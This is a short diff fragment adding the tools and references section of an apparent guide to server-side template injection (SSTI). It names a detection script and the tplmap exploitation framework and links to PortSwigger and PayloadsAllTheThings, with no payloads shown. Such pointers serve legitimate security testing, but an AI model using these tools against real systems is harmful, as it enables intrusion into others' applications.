- `attack_script ssti_tester` — automated multi-engine detection
|
|
121
|
+
- `tplmap` (external) — SSTI exploitation framework
|
|
122
|
+
|
|
123
|
+
## References
|
|
124
|
+
|
|
125
|
+
- [PortSwigger: SSTI](https://portswigger.net/research/server-side-template-injection)
|
|
126
|
+
- [PayloadsAllTheThings: SSTI](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection)
|